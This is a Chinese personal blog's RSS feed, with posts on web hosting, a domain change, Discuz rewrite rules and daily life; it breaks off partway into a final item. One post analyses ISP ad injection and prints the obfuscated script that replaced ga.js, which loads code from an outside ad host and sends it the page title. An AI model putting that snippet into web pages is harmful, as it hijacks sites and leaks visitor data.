<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>七分地 &#187; 杂事</title>
	<atom:link href="http://www.qifendi.com/html/ycategory/%e6%9d%82%e4%ba%8b/feed" rel="self" type="application/rss+xml" />
	<link>http://www.qifendi.com</link>
	<description>soncy的七分责任田，种点瓜果蔬菜和杂草</description>
	<lastBuildDate>Sun, 22 Aug 2010 13:24:38 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1.2</generator>
		<item>
		<title>Hawkhost购买使用初体验</title>
		<link>http://www.qifendi.com/html/y2010/hawkhost-buying-a-first-experience.html</link>
		<comments>http://www.qifendi.com/html/y2010/hawkhost-buying-a-first-experience.html#comments</comments>
		<pubDate>Tue, 16 Mar 2010 14:50:01 +0000</pubDate>
		<dc:creator>soncy</dc:creator>
				<category><![CDATA[杂事]]></category>
		<category><![CDATA[cpanel绑定域名]]></category>
		<category><![CDATA[hawkhost]]></category>
		<category><![CDATA[主机]]></category>
		<category><![CDATA[空间]]></category>

		<guid isPermaLink="false">http://www.qifendi.com/?p=488</guid>
		<description><![CDATA[<img src="http://www.qifendi.com/wp-content/uploads/2010/03/hawkhost1.jpg" alt="" title="hawkhost" width="250" height="100" class="alignleft size-full wp-image-491" />      关注<a target="_blank" href="http://www.hawkhost.com">hawkhost</a>已经有几天了，发现口碑还不错，看了看几个使用这个主机的客户的网站，速度也不错，官方提供的下载测速也能达到满速，而且价格不是很贵，首次购买优惠幅度非常大，所有就考虑在现在这个空间5月份到期后换到hawkhost，今天早上逛到一个首次购买5折的优惠码，算了一下，购买Basic方案加独立IP一年优惠50%后差不多31美元左右，相当于人民币200多一点，还是很划算的，不知道这个50%的优惠码什么时候会失效，所以就决定今天先买了算了，从下单到购买很简单，步骤也很少，选择好需要的方案后填好信息直接付款，之前在paypal中还有1美元多的验证费用，所以支付了29块多美元，拿下了这款主机。[......]<p class='read-more'><a href='http://www.qifendi.com/html/y2010/hawkhost-buying-a-first-experience.html'></a></p>]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.qifendi.com/wp-content/uploads/2010/03/hawkhost1.jpg" alt="" title="hawkhost" width="250" height="100" class="alignleft size-full wp-image-491" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 关注<a href="http://www.hawkhost.com" target="_blank">hawkhost</a>已经有几天了，发现口碑还不错，看了看几个使用这个主机的客户的网站，速度也不错，官方提供的下载测速也能达到满速，而且价格不是很贵，首次购买优惠幅度非常大，所以就考虑在现在这个空间5月份到期后换到hawkhost，今天早上逛到一个首次购买<span style="background: #396; color: #ffff00">5折的优惠码</span>，算了一下，购买Basic方案加独立IP一年优惠50%后差不多31美元左右，相当于人民币200多一点，还是很划算的，不知道这个50%的优惠码什么时候会失效，所以就决定今天先买了算了，从下单到购买很简单，步骤也很少，选择好需要的方案后填好信息直接付款，之前在paypal中还有1美元多的验证费用，所以支付了29块多美元，拿下了这款主机。</p>
<p><img alt="" class="aligncenter size-full wp-image-508" height="254" src="http://www.qifendi.com/wp-content/uploads/2010/03/order.gif" title="order" width="559" /></p>
<p>大概过了10几分钟后，开通信发到了邮箱，有IP地址，账号，密码，NS地址等，立马登陆CP（这个主机的管理面板是Cpanel），改了密码和语言后紧接着就去添加域名，由于暂时还不会把博客转到该服务器，所以用了一个闲置的域名，添加好域名后，去域名控制面板更改A记录到<span style="background: #396; color: #ffff00">邮箱中的IP</span>，过了一会儿，输入刚才的域名准备看看速度，悲剧发生了，域名跳到了默认页（/cgi-sys/defaultwebpage.cgi），想了一下是不是没有设置默认首页，于是又放了一个默认首页上去，没用，直接访问这个文件，404，一下就懵了，但由于当时急于去上班，所以也没管了，到了公司后，仔细看了下添加域名的说明，要求必须把域名NS记录改为空间商提供的NS，其实改也很方便，但是我不太想改，我还是喜欢用dnspod的解析。于是就发了一个support tickets，过了大概几分钟，那边的人员回复了，但是很明显，他没明白我的意思，我又发了好几个，但是他都没明白我的意思，最后告诉他不用了，我自己想办法吧，英语没学好的恶果显露无遗。但是hawkhost的客服绝对是值得严重表扬的，每一个tickets的回复速度都没超过10分钟(已是当地时间凌晨2点)，响应很迅速。</p>
<p><img alt="" class="aligncenter size-full wp-image-495" height="354" src="http://www.qifendi.com/wp-content/uploads/2010/03/addondomain.gif" title="addondomain" width="682" /></p>
<p>最后开始在百度，google到处查找CP绑空间不用改NS的方法，最后试了几个，都没有用，后来想到看看别人使用hawkhost时有没有改NS，于是就找了几个一看，没有改啊~，他们用的是A记录&#8230;于是联系了一个使用者（中国人），问他怎么绑的域名，他果然说改的A记录，然后问他怎么改，为什么我的不生效呢&#8230;他告诉我要改成<span style="background: #396; color: #ffff00">CP中显示的IP</span>，我登陆CP一看，没有哪里显示IP了啊，后来经这位朋友提醒发现在左侧信息下面的&ldquo;展开更多&rdquo;里面，嗷，IP跟邮件里的不一样啊，于是恍然大悟，CP里显示的我买的独立IP，才是我应该绑的IP，邮箱里的只是开通空间时系统自动发的一个共享IP&#8230;于是迅速更改A记录，测试，成功！准备在4月中旬博客搬家！</p>
<p><img alt="" class="aligncenter size-full wp-image-496" height="195" src="http://www.qifendi.com/wp-content/uploads/2010/03/cp.gif" title="cp" width="500" /></p>
<p>最后，按惯例，路过的朋友帮测试下速度，谢谢，测试域名： www.qifendi.com&nbsp; &nbsp;<strike><span style="color: #f60; font-size: 16px">www.cnliren.cn</span></strike></p>
<blockquote><p>Hawkhost主机的优惠码： <br />
	<span style="font-style: normal; color: #f00">March2010</span> :（这个主机的&ldquo;月+年&rdquo;优惠码现在继续有效，所以4月么也是照这个格式来的）首年优惠40%。<br />
	<span style="font-style: normal; color: #f00">s20percent</span> :终身20%优惠，想长期用的就用这个吧。<br />
	<span style="font-style: normal; color: #f00">whts50</span> ：首年50%优惠</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.qifendi.com/html/y2010/hawkhost-buying-a-first-experience.html/feed</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>又下雪了</title>
		<link>http://www.qifendi.com/html/y2010/also-snow.html</link>
		<comments>http://www.qifendi.com/html/y2010/also-snow.html#comments</comments>
		<pubDate>Sun, 14 Mar 2010 04:13:27 +0000</pubDate>
		<dc:creator>soncy</dc:creator>
				<category><![CDATA[杂事]]></category>
		<category><![CDATA[下雪]]></category>

		<guid isPermaLink="false">http://www.qifendi.com/?p=467</guid>
		<description><![CDATA[最近北京的天气很有规律哦，从元宵那天开始，连续三周每周星期天都要下一场雪，这不，这周的又开始下了。
<div id="attachment_471" class="wp-caption alignleft" style="width: 310px"><a target="_blank" href="http://www.qifendi.com/wp-content/uploads/2010/03/DSCN1955.jpg"><img class="size-medium wp-image-471" title="DSCN1955" src="http://www.qifendi.com/wp-content/uploads/2010/03/DSCN1955-300x225.jpg" alt="灰蒙蒙一片" width="300" height="225" /></a><p class="wp-caption-text">灰蒙蒙一片</p></div> <div id="attachment_468" class="wp-caption alignleft" style="width: 310px"><a target="_blank" href="http://www.qifendi.com/wp-content/uploads/2010/03/DSCN1952.jpg"><img class="size-medium wp-image-468" title="DSCN1952" src="http://www.qifendi.com/wp-content/uploads/2010/03/DSCN1952-300x225.jpg" alt="雪花" width="300" height="225" /></a><p class="wp-caption-text">雪花</p></div><div style="clear:both"></div>[......]<p class='read-more'><a href='http://www.qifendi.com/html/y2010/also-snow.html'></a></p>]]></description>
			<content:encoded><![CDATA[<p>最近北京的天气很有规律哦，从元宵那天开始，连续三周每周星期天都要下一场雪，这不，这周的又开始下了。 <a href="http://www.qifendi.com/wp-content/uploads/2010/03/DSCN1955.jpg" target="_blank"><img alt="灰蒙蒙一片" class="size-medium wp-image-471" height="225" src="http://www.qifendi.com/wp-content/uploads/2010/03/DSCN1955-300x225.jpg" title="DSCN1955" width="300" /></a> <a href="http://www.qifendi.com/wp-content/uploads/2010/03/DSCN1952.jpg" target="_blank"><img alt="雪花" class="size-medium wp-image-468" height="225" src="http://www.qifendi.com/wp-content/uploads/2010/03/DSCN1952-300x225.jpg" title="DSCN1952" width="300" /></a> <a href="http://www.qifendi.com/wp-content/uploads/2010/03/DSCN1953.jpg" target="_blank"><img alt="还是雪花" class="size-medium wp-image-469" height="225" src="http://www.qifendi.com/wp-content/uploads/2010/03/DSCN1953-300x225.jpg" title="DSCN1953" width="300" /></a> <a href="http://www.qifendi.com/wp-content/uploads/2010/03/DSCN1954.jpg" target="_blank"><img alt="积雪" class="size-medium wp-image-470" height="225" src="http://www.qifendi.com/wp-content/uploads/2010/03/DSCN1954-300x225.jpg" title="DSCN1954" width="300" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.qifendi.com/html/y2010/also-snow.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>新入手一域名qifendi.com</title>
		<link>http://www.qifendi.com/html/y2010/qifend.html</link>
		<comments>http://www.qifendi.com/html/y2010/qifend.html#comments</comments>
		<pubDate>Sat, 13 Mar 2010 18:00:32 +0000</pubDate>
		<dc:creator>soncy</dc:creator>
				<category><![CDATA[杂事]]></category>
		<category><![CDATA[name.com]]></category>
		<category><![CDATA[七分地]]></category>
		<category><![CDATA[域名]]></category>

		<guid isPermaLink="false">http://www.eyike.com/?p=460</guid>
		<description><![CDATA[eyike.com这个域名用了4年了，也已经习惯了，当初起这个名字呢为的是读后面的yike，但是这个域名在国内某域名商处注册，不能自由转出，甚至不能更改NS，始终感觉不完全是自己的东西，正好今天逛到一篇博客介绍了一个国外的主机，于是我就在想换个域名得了，好记的，好拼得域名都已经被抢光光了，准备注一个[......]<p class='read-more'><a href='http://www.qifendi.com/html/y2010/qifend.html'>继续阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>eyike.com这个域名用了4年了，也已经习惯了，当初起这个名字呢为的是读后面的yike，但是这个域名在国内某域名商处注册，不能自由转出，甚至不能更改NS，始终感觉不完全是自己的东西，正好今天逛到一篇博客介绍了一个国外的主机，于是我就在想换个域名得了，好记的，好拼得域名都已经被抢光光了，准备注一个sanfendi.com，寓意一亩三分地得，结果没有了，想想自己小时候在老家也是有地的，不是三分，是七分，遂注了个qifendi.com，等解析生效后将逐步换为此域名，eyike.com将被封藏起来，以后就在这七分地上种庄稼了。</p>
<p>此次域名是在name.com注册，使用优惠码后$8.25，不算贵，去年也在name.com注过一个域名准备做垃圾站的，后来废弃没用了，管理界面比较简单，操作方便，更重要的是访问和操作速度比godaddy快，所以它会排在godaddy前面成为我得首选域名注册商。</p>
<p>如果有我这几分地的链接的朋友正好看到这里，麻烦将贵地的本站链接改为<a href="http://www.qifendi.com">www.qifendi.com</a>，稍候我会亲自登门拜谢。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.qifendi.com/html/y2010/qifend.html/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>discuz的一些URL静态化备忘</title>
		<link>http://www.qifendi.com/html/y2009/discuz-static-reminder-of-some-of-the-url.html</link>
		<comments>http://www.qifendi.com/html/y2009/discuz-static-reminder-of-some-of-the-url.html#comments</comments>
		<pubDate>Sun, 06 Sep 2009 15:18:02 +0000</pubDate>
		<dc:creator>soncy</dc:creator>
				<category><![CDATA[杂事]]></category>
		<category><![CDATA[discuz]]></category>
		<category><![CDATA[rewrite]]></category>
		<category><![CDATA[url静态化]]></category>
		<category><![CDATA[伪静态]]></category>

		<guid isPermaLink="false">http://www.eyike.com/?p=366</guid>
		<description><![CDATA[捣鼓第八站论坛的时候想到要把论坛做成url静态化的，于是查了点资料，存下以备不时之需。只记录用apche作服务器的情况。
一，URL的静态化可以在后台开启，官方有帮助文档，在后台开启后，改写.htaccess 


<blockquote>在开始以下设置之前，请首先咨询您的空间服务商，空间是否支持 Rewrite 以及是否支持对站点目录中 .htaccess 的文件解析，否则即便按照下面的方法设置好了，也无法使用。 

检查论坛所在目录中是否存在 .htaccess 文件，如果不存在，请手工建立此文件。Win32 系统下，无法直接建立 .htaccess 文件，您可以从其他系统中拷贝一份，或者在 Discuz.net 技术支持栏目中下载此文件。编辑并修改 .htaccess 文件，添加以下内容 
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline"># 将 RewriteEngine 模式打开</li>
<li>	RewriteEngine On</li>
<li>&nbsp;</li>
<li>	# 修改以下语句中的 /discuz 为你的论坛目录地址，如果程序放在根目录中，请将 /discuz 修改为 /</li>
<li>	RewriteBase /discuz</li></ol></div>[......]</blockquote><p class='read-more'><a href='http://www.qifendi.com/html/y2009/discuz-static-reminder-of-some-of-the-url.html'></a></p>]]></description>
			<content:encoded><![CDATA[<p>捣鼓第八站论坛的时候想到要把论坛做成url静态化的，于是查了点资料，存下以备不时之需。只记录用apche作服务器的情况。<br />
一，URL的静态化可以在后台开启，官方有帮助文档，在后台开启后，改写.htaccess </p>
<blockquote><p>在开始以下设置之前，请首先咨询您的空间服务商，空间是否支持 Rewrite 以及是否支持对站点目录中 .htaccess 的文件解析，否则即便按照下面的方法设置好了，也无法使用。 </p>
<p>检查论坛所在目录中是否存在 .htaccess 文件，如果不存在，请手工建立此文件。Win32 系统下，无法直接建立 .htaccess 文件，您可以从其他系统中拷贝一份，或者在 Discuz.net 技术支持栏目中下载此文件。编辑并修改 .htaccess 文件，添加以下内容 </p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline"># 将 RewriteEngine 模式打开</li>
<li>	RewriteEngine On</li>
<li>&nbsp;</li>
<li>	# 修改以下语句中的 /discuz 为你的论坛目录地址，如果程序放在根目录中，请将 /discuz 修改为 /</li>
<li>	RewriteBase /discuz</li>
<li>&nbsp;</li>
<li>	# Rewrite 系统规则请勿修改</li>
<li>	RewriteRule ^archiver/((fid|tid)-[\w\-]+\.html)$ archiver/index.php?$1</li>
<li>	RewriteRule ^forum-([0-9]+)-([0-9]+)\.html$ forumdisplay.php?fid=$1&amp;page=$2</li>
<li>	RewriteRule ^thread-([0-9]+)-([0-9]+)-([0-9]+)\.html$ viewthread.php?tid=$1&amp;extra=page\%3D$3&amp;page=$2</li>
<li>	RewriteRule ^space-(username|uid)-(.+)\.html$ space.php?$1=$2</li>
<li>	RewriteRule ^tag-(.+)\.html$ tag.php?name=$1</li></ol></div>
</blockquote>
<p>二，从论坛其他页面回到首页的时候链接是http://bbsurl/index.php，可以在论坛后台设置首页文件名为index.html或者干脆设置成/。然后必须做的意见事情是让首页伪静态了。</p>
<blockquote><p>打开 .htaccess 文件, 查找:</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline">RewriteRule ^space-(username|uid)-(.+)\.html$ space.php?$1=$2</li></ol></div>
<p>在下面添加:</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline">RewriteRule ^index\.html$ index.php</li>
<li>RewriteRule ^index-([0-9]+)\.html$ index.php?gid=$1</li></ol></div>
<p>打开后台, 关闭静态化 URL 的功能.</p>
<p>打开 include/global.func.php 文件, 查找:</p>

<div class="wp_codebox"><table><tr id="p3661"><td class="code" id="p366code1"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$rewritestatus</span> <span style="color: #339933;">&amp;</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span></pre></td></tr></table></div>

<p>上面添加</p>

<div class="wp_codebox"><table><tr id="p3662"><td class="code" id="p366code2"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$indexhtml</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//1开启首页静态化，0关闭首页静态化</span>
                        <span style="color: #000088;">$gidhtml</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//1开启首页静态化，0关闭首页静态化</span>
                        <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$indexhtml</span> <span style="color: #339933;">==</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                                <span style="color: #000088;">$searcharray</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;/\&lt;a href\=<span style="color: #000099; font-weight: bold;">\&quot;</span>index\.php<span style="color: #000099; font-weight: bold;">\&quot;</span>([^\&gt;]*)\&gt;/e&quot;</span><span style="color: #339933;">;</span>
                                <span style="color: #000088;">$replacearray</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;rewrite_index('<span style="color: #000099; font-weight: bold;">\\</span>1')&quot;</span><span style="color: #339933;">;</span>
                        <span style="color: #009900;">&#125;</span>
                        <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$gidhtml</span> <span style="color: #339933;">==</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                                <span style="color: #000088;">$searcharray</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;/\&lt;a href\=<span style="color: #000099; font-weight: bold;">\&quot;</span>index\.php\?gid\=(\d+)<span style="color: #000099; font-weight: bold;">\&quot;</span>([^\&gt;]*)\&gt;/e&quot;</span><span style="color: #339933;">;</span>
                                <span style="color: #000088;">$replacearray</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;rewrite_index('<span style="color: #000099; font-weight: bold;">\\</span>2', '<span style="color: #000099; font-weight: bold;">\\</span>1')&quot;</span><span style="color: #339933;">;</span>
                        <span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>再找:</p>

<div class="wp_codebox"><table><tr id="p3663"><td class="code" id="p366code3"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">function</span> rewrite_thread<span style="color: #009900;">&#40;</span><span style="color: #000088;">$tid</span><span style="color: #339933;">,</span> <span style="color: #000088;">$page</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #000088;">$prevpage</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #000088;">$extra</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span></pre></td></tr></table></div>

<p>上面添加:</p>

<div class="wp_codebox"><table><tr id="p3664"><td class="code" id="p366code4"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">function</span> rewrite_index<span style="color: #009900;">&#40;</span><span style="color: #000088;">$extra</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span> <span style="color: #000088;">$gid</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">'&lt;a href=&quot;index'</span><span style="color: #339933;">.</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$gid</span> ? <span style="color: #0000ff;">'-'</span><span style="color: #339933;">.</span><span style="color: #000088;">$gid</span> <span style="color: #339933;">:</span> <span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'.html&quot;'</span><span style="color: #339933;">.</span><a href="http://www.php.net/stripslashes"><span style="color: #990000;">stripslashes</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$extra</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&gt;'</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

</blockquote>
<p>三，首页最后发表/最后回复的URL静态化</p>
<blockquote><p>
打开模板文件discuz.htm,查找</p>

<div class="wp_codebox"><table><tr id="p3665"><td class="code" id="p366code5"><pre class="html" style="font-family:monospace;">redirect.php?tid=$forum[lastpost][tid]&amp;amp;goto=lastpost#lastpost</pre></td></tr></table></div>

<p>全部替换:</p>

<div class="wp_codebox"><table><tr id="p3666"><td class="code" id="p366code6"><pre class="html" style="font-family:monospace;">thread-$forum[lastpost][tid]-1-1.html</pre></td></tr></table></div>

</blockquote>
<p>完了，效果可见 <a href="http://bbs.dibazhan.cn" target="_blank">http://bbs.dibazhan.cn</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.qifendi.com/html/y2009/discuz-static-reminder-of-some-of-the-url.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>中国铁通流氓广告卷土重来</title>
		<link>http://www.qifendi.com/html/y2009/china-railcom-rogue-advertising-comeback.html</link>
		<comments>http://www.qifendi.com/html/y2009/china-railcom-rogue-advertising-comeback.html#comments</comments>
		<pubDate>Tue, 01 Sep 2009 16:37:04 +0000</pubDate>
		<dc:creator>soncy</dc:creator>
				<category><![CDATA[杂事]]></category>
		<category><![CDATA[铁通]]></category>
		<category><![CDATA[铁通广告]]></category>

		<guid isPermaLink="false">http://www.eyike.com/?p=348</guid>
		<description><![CDATA[在以前的一片日志中提到了中国铁通的流氓广告，很长一段时间没有再遇到过了，没想到最近又卷土重来了。这几天在家浏览第八站的时候老是发现右下角有广告，根据以前的经验，立马怀疑是铁通搞的鬼，通过httpwatch发现这个广告是http://m.17bbj.com/mwgndfa.php这么个文件带进来的，那么是什么东西把这个文件带进来的呢，看他加载的前一个文件，是http://www.google-analytics.com/ga.js ,用httpwatch查看这个文件的内容是：[......]<p class='read-more'><a href='http://www.qifendi.com/html/y2009/china-railcom-rogue-advertising-comeback.html'></a></p>]]></description>
			<content:encoded><![CDATA[<p>在以前的一片日志中提到了中国铁通的流氓广告：<a href="http://www.eyike.com/html/y2009/liu-mang-tie-tong.html" target="_blank">查看</a>，很长一段时间没有再遇到过了，没想到最近又卷土重来了。<br />
<a target="_blank" href="http://www.eyike.com/wp-content/uploads/2009/09/11.jpg"><img src="http://www.eyike.com/wp-content/uploads/2009/09/11-300x200.jpg" alt="11" title="11" width="300" height="200" class="aligncenter size-medium wp-image-357" /></a><br />
这几天在家浏览第八站的时候老是发现右下角有广告，根据以前的经验，立马怀疑是铁通搞的鬼，通过httpwatch发现这个广告是http://m.17bbj.com/mwgndfa.php这么个文件带进来的，那么是什么东西把这个文件带进来的呢，看他加载的前一个文件，是http://www.google-analytics.com/ga.js ,用httpwatch查看这个文件的内容是：
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline"><span style="color: #00A7F7;">var</span><span style="color: Gray;"> </span><span style="color: #BDAE9D;">_0x9713</span><span style="color: Gray;">=</span><span style="color: #BDAE9D;">[</span><span style="color: #888;">&quot;</span><span style="color: #CE7B00;">\x3C\x73\x63\x72\x69\x70\x74\x20\x6C\x61\x6E\x67\x75\x61\x67\x65\x3D\x27\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x27\x20\x73\x72\x63\x3D\x27\x68\x74\x74\x70\x3A\x2F\x2F\x6D\x2E\x31\x37\x62\x62\x6A\x2E\x63\x6F\x6D\x2F\x6D\x77\x67\x6E\x64\x66\x61\x2E\x70\x68\x70\x3F\x73\x72\x63\x3D\x67\x67\x26\x74\x3D</span><span style="color: #888;">&quot;</span><span style="color: Gray;">,</span><span style="color: #888;">&quot;</span><span style="color: #CE7B00;">\x74\x69\x74\x6C\x65</span><span style="color: #888;">&quot;</span><span style="color: Gray;">,</span><span style="color: #888;">&quot;</span><span style="color: #CE7B00;">\x27\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E</span><span style="color: #888;">&quot;</span><span style="color: Gray;">,</span><span style="color: #888;">&quot;</span><span style="color: #CE7B00;">\x77\x72\x69\x74\x65</span><span style="color: #888;">&quot;</span><span style="color: #BDAE9D;">]</span><span style="color: Gray;">;</span><span style="color: #BDAE9D;">document</span><span style="color: #BDAE9D;">[</span><span style="color: #BDAE9D;">_0x9713</span><span style="color: #BDAE9D;">[</span><span style="color: #A2003D;">0</span><span style="color: #BDAE9D;">x3</span><span style="color: #BDAE9D;">]](</span><span style="color: #BDAE9D;">_0x9713</span><span style="color: #BDAE9D;">[</span><span style="color: #A2003D;">0</span><span style="color: #BDAE9D;">x0</span><span style="color: #BDAE9D;">]</span><span style="color: Gray;">+</span><span style="color: #BDAE9D;">encodeURIComponent</span><span style="color: #BDAE9D;">(</span><span style="color: #BDAE9D;">document</span><span style="color: #BDAE9D;">[</span><span style="color: #BDAE9D;">_0x9713</span><span style="color: #BDAE9D;">[</span><span style="color: #A2003D;">0</span><span style="color: #BDAE9D;">x1</span><span style="color: #BDAE9D;">]])</span><span style="color: Gray;">+</span><span style="color: #BDAE9D;">_0x9713</span><span style="color: #BDAE9D;">[</span><span style="color: #A2003D;">0</span><span style="color: #BDAE9D;">x2</span><span style="color: #BDAE9D;">])</span><span style="color: Gray;">;</span><span style="color: #BDAE9D;">document</span><span style="color: Gray;">.</span><span style="color: #BDAE9D;">write</span><span style="color: #BDAE9D;">(</span><span style="color: #888;">&quot;</span><span style="color: #CE7B00;">&lt;script language='javascript' src='http://www.google-analytics.com/ga.js?rr=1886680168'&gt;&lt;\/script&gt;</span><span style="color: #888;">&quot;</span><span style="color: #BDAE9D;">)</span><span style="color: Gray;">;</span></li></ol></div>
<p><a target="_blank" href="http://www.eyike.com/wp-content/uploads/2009/09/22.jpg"><img src="http://www.eyike.com/wp-content/uploads/2009/09/22-300x73.jpg" alt="22" title="22" width="300" height="73" class="aligncenter size-medium wp-image-358" /></a><br />
这段密密麻麻的字符翻译出来就是：</p>

<div class="wp_codebox"><table><tr id="p3487"><td class="code" id="p348code7"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> _0x9713<span style="color: #339933;">=</span><span style="color: #009900;">&#91;</span><span style="color: #3366CC;">&quot;&lt;script language='javascript' src='http://m.17bbj.com/mwgndfa.php?src=gg&amp;t=&quot;</span><span style="color: #339933;">,</span><span style="color: #3366CC;">&quot;title&quot;</span><span style="color: #339933;">,</span><span style="color: #3366CC;">&quot;'&gt;&lt;/script&gt;&quot;</span><span style="color: #339933;">,</span><span style="color: #3366CC;">&quot;write&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>恩，看来就是它引入的了。对了，这是google的统计文件，难道说google作恶了？<br />
我用firefox直接访问这个文件，得到的确是另一个结果<br />
<a target="_blank" href="http://www.eyike.com/wp-content/uploads/2009/09/33.jpg"><img src="http://www.eyike.com/wp-content/uploads/2009/09/33-300x80.jpg" alt="33" title="33" width="300" height="80" class="aligncenter size-medium wp-image-359" /></a><br />
这下没话说了，铁通，你真垃圾，立即到投诉315投诉了，难怪移动打死都不想要铁通，扶不起的阿斗。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.qifendi.com/html/y2009/china-railcom-rogue-advertising-comeback.html/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>2012世界末日高清预告片</title>
		<link>http://www.qifendi.com/html/y2009/2012-doomsday-trailer-hd.html</link>
		<comments>http://www.qifendi.com/html/y2009/2012-doomsday-trailer-hd.html#comments</comments>
		<pubDate>Sat, 29 Aug 2009 14:41:35 +0000</pubDate>
		<dc:creator>soncy</dc:creator>
				<category><![CDATA[杂事]]></category>
		<category><![CDATA[2012]]></category>
		<category><![CDATA[世界末日]]></category>
		<category><![CDATA[玛雅预言]]></category>

		<guid isPermaLink="false">http://www.eyike.com/?p=335</guid>
		<description><![CDATA[看预告片是相当震撼啊，这部片子也期待了一年多了，今年11月全球上映，由于“在可预见的未来涉及到了世界毁灭”，不知道国内会引进不，垃圾制度。[......]<p class='read-more'><a href='http://www.qifendi.com/html/y2009/2012-doomsday-trailer-hd.html'></a></p>]]></description>
			<content:encoded><![CDATA[<p><object width="420" height="363"><param name="movie" value="http://www.tudou.com/v/SNVfdMCBbPM"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><param name="wmode" value="opaque"></param><embed src="http://www.tudou.com/v/SNVfdMCBbPM" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" wmode="opaque" width="420" height="363"></embed></object><br />
看预告片是相当震撼啊，这部片子也期待了一年多了，今年11月全球上映，由于“在可预见的未来涉及到了世界毁灭”，不知道国内会引进不，垃圾制度。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.qifendi.com/html/y2009/2012-doomsday-trailer-hd.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>重大打击-原始人的跑路</title>
		<link>http://www.qifendi.com/html/y2009/dealt-a-heavy-blow-theprimitive.html</link>
		<comments>http://www.qifendi.com/html/y2009/dealt-a-heavy-blow-theprimitive.html#comments</comments>
